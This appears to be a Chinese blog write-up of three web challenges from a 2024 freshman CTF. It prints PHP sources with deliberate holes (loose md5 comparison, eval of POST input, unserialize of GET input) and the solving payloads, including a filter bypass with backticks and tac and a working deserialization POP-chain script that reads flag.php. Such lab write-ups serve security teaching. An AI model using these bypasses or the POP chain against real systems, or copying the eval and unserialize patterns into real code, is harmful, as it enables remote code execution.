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Tron_CTF2024新生赛 WEB

web业余憨憨简单复现一下,不过有两题环境挂了

s1mple_php

题目

easy

我的解答:

源码:

 <?php
highlight_file(__FILE__);
include("flag.php");
$c = $_POST['c'];
$v = $_GET['v'];
$e = $_GET['e'];
if(isset($_GET['v']) and isset($_GET['e'])){
    if ($_GET['v'] != $_GET['e']){
        if ((md5($_GET['v']) == md5($_GET['e']))){
            if(isset($_POST['c'])){
                echo $flag;
            }else{
                die('no!!!');
            }
        }else{
            die('wrong!');
        }
    }else{
        die('wrong wrong !!');
    }
}else{
    die('wrong wrong wrong!!!');
}
?>
wrong wrong wrong!!!

简单的md5弱比较绕过,保证v和e值不同但md5值相同。可以用数组绕过:v[]=123&e[]=456

c就随便了。传个值就行。

秒了

题目

你会RCE吗?

我的解答:

源码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
$c = $_POST['c'];
$c = str_replace("("," ",$c);
$c = str_replace("."," ",$c);
$c = str_replace("cat"," ",$c);
eval($c);
?>

分析可知它屏蔽了"(" "."和"cat",我们可以使用反引号 ` 通配符 * 以及 tac绕过。

fxlh

题目

你会造链子吗?

我的解答:

源码:

 <?php
highlight_file(__FILE__);
class zzz
{
    public $z;
    function __construct($z)
    {
        $this->z = $z;
    }
    function __destruct()
    {
        $this->z->pdf();
    }
}
class hhh
{
    public $h;
    function __call($onename,$val)
    {
        echo $this->h->docx;
    }
}
class ccc
{
    public $c;
    function __construct($c)
    {
        $this->c = $c;
    }
    function __get($Attribute)
    {
        eval($this->c); 
    }
}
$p = $_GET['p'];
if(isset($p) and !preg_match('/system/i',$p)) {
    unserialize($_GET['p']);
}else{
    die('no system!!!');
}
?>
no system!!!

首先找到链尾,去找满足出触发_get方法的条件,这里在hhh类里利用h变量可以触发

再去找触发_call方法的条件,这里在zzz类里利用_destruct()方法可以触发

构造POC如下:

<?php
class zzz
{
    public $z;
    function __destruct()
{
    $this->z->pdf();
}
}
class hhh
{
    public $h;
}
class ccc
{
    public $c = "echo `cat flag.php`;";
}
$en = new zzz();
$s = new hhh();
$e = new ccc();
$en -> z = $s;
$s -> h = $e;
echo serialize($en);
?>

 

posted @ 2024-05-30 12:17  Kicky_Mu  阅读(47)  评论(0编辑  收藏  举报